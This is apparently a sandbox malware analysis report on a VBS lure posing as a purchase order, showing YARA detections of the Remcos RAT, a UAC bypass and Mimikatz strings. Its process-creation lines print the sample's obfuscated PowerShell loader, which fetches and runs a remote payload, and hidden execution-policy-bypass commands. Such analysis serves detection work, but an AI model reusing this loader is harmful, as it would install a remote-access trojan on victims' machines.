                      Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED

                      Spam, unwanted Advertisements and Ransom Demands

                      barindex
                      Contains functionalty to change the wallpaper
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041CA73 SystemParametersInfoW,22_2_0041CA73

                      System Summary

                      barindex
                      Malicious sample detected (through community Yara rule)
                      Source: 13.2.powershell.exe.20b6fc69a78.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                      Source: 13.2.powershell.exe.20b6fc69a78.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                      Source: 13.2.powershell.exe.20b6fc69a78.1.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                      Source: 22.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                      Source: 22.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                      Source: 22.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                      Source: 20.2.powershell.exe.2a61f81adc8.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                      Source: 20.2.powershell.exe.2a61f81adc8.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                      Source: 20.2.powershell.exe.2a61f81adc8.1.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                      Source: 22.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                      Source: 22.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                      Source: 22.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                      Source: 25.2.powershell.exe.1425f089f00.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                      Source: 25.2.powershell.exe.1425f089f00.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                      Source: 25.2.powershell.exe.1425f089f00.1.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                      Source: 13.2.powershell.exe.20b6fc69a78.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                      Source: 13.2.powershell.exe.20b6fc69a78.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                      Source: 25.2.powershell.exe.1425f089f00.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                      Source: 25.2.powershell.exe.1425f089f00.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                      Source: 20.2.powershell.exe.2a61f81adc8.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                      Source: 20.2.powershell.exe.2a61f81adc8.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                      Source: 0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                      Source: 00000014.00000002.2640881917.000002A61F4F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                      Source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                      Source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
                      Source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                      Source: 0000000D.00000002.2573017500.0000020B6FAC2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                      Source: 00000019.00000002.2865279267.000001425ED61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                      Source: Process Memory Space: powershell.exe PID: 4040, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                      Source: Process Memory Space: powershell.exe PID: 3700, type: MEMORYSTRMatched rule: Detects Invoke-Mimikatz String Author: Florian Roth
                      Source: Process Memory Space: powershell.exe PID: 3700, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                      Source: Process Memory Space: powershell.exe PID: 7572, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                      Source: Process Memory Space: powershell.exe PID: 7572, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                      Windows Scripting host queries suspicious COM object (likely to drop second stage)
                      Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
                      Wscript starts Powershell (via cmd or directly)
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApACAAJw' + [char]
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApACAAJw' + [char]Jump to behavior
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\mdwpy.ps1' ";exit
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess Stats: CPU usage > 49%
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_004167EF ExitWindowsEx,LoadLibraryA,GetProcAddress,22_2_004167EF
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFD346E3EFA2_2_00007FFD346E3EFA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFD346E46FA2_2_00007FFD346E46FA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFD346E47FA2_2_00007FFD346E47FA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFD346E45FB2_2_00007FFD346E45FB
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFD346E53F22_2_00007FFD346E53F2
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FFD346C0F0A4_2_00007FFD346C0F0A
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FFD346C6FD54_2_00007FFD346C6FD5
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FFD346C5FFA4_2_00007FFD346C5FFA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FFD3479217D4_2_00007FFD3479217D
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FFD34790B094_2_00007FFD34790B09
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD346F71485_2_00007FFD346F7148
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD346FADD35_2_00007FFD346FADD3
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD346F71685_2_00007FFD346F7168
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD346F71FB5_2_00007FFD346F71FB
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD346F85FA5_2_00007FFD346F85FA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD346FB9FA5_2_00007FFD346FB9FA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD346F86D35_2_00007FFD346F86D3
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD346F5EFA5_2_00007FFD346F5EFA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD346F3FFA5_2_00007FFD346F3FFA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_00007FFD346F5BFA5_2_00007FFD346F5BFA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD346C85FA6_2_00007FFD346C85FA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD346CB9FA6_2_00007FFD346CB9FA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD346C86D36_2_00007FFD346C86D3
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_00007FFD346C3FFA6_2_00007FFD346C3FFA
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_00007FFD346E16F28_2_00007FFD346E16F2
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00007FFD346E647013_2_00007FFD346E6470
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00007FFD346E631113_2_00007FFD346E6311
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00007FFD347B042A13_2_00007FFD347B042A
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 20_2_00007FFD346E68F320_2_00007FFD346E68F3
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 20_2_00007FFD346E878020_2_00007FFD346E8780
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 20_2_00007FFD346E0FF220_2_00007FFD346E0FF2
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 20_2_00007FFD347B04D520_2_00007FFD347B04D5
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 20_2_00007FFD347B0E8D20_2_00007FFD347B0E8D
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0043706A22_2_0043706A
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041400522_2_00414005
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0043E11C22_2_0043E11C
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_004541D922_2_004541D9
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_004381E822_2_004381E8
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041F18B22_2_0041F18B
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0044627022_2_00446270
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0043E34B22_2_0043E34B
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_004533AB22_2_004533AB
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0042742E22_2_0042742E
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0043756622_2_00437566
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0043E5A822_2_0043E5A8
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_004387F022_2_004387F0
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0043797E22_2_0043797E
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_004339D722_2_004339D7
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0044DA4922_2_0044DA49
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00427AD722_2_00427AD7
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041DBF322_2_0041DBF3
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00427C4022_2_00427C40
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00437DB322_2_00437DB3
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00435EEB22_2_00435EEB
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0043DEED22_2_0043DEED
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_00426E9F22_2_00426E9F
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: String function: 00402093 appears 50 times
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: String function: 00401E65 appears 34 times
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: String function: 00434E70 appears 54 times
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: String function: 00434801 appears 41 times
                      Source: Urgent Purchase Order (P.O.) No.477764107102024.vbsInitial sample: Strings found which are bigger than 50
                      Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 11693
                      Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 11693Jump to behavior
                      Source: 13.2.powershell.exe.20b6fc69a78.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                      Source: 13.2.powershell.exe.20b6fc69a78.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                      Source: 13.2.powershell.exe.20b6fc69a78.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                      Source: 22.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                      Source: 22.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                      Source: 22.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                      Source: 20.2.powershell.exe.2a61f81adc8.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                      Source: 20.2.powershell.exe.2a61f81adc8.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                      Source: 20.2.powershell.exe.2a61f81adc8.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                      Source: 22.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
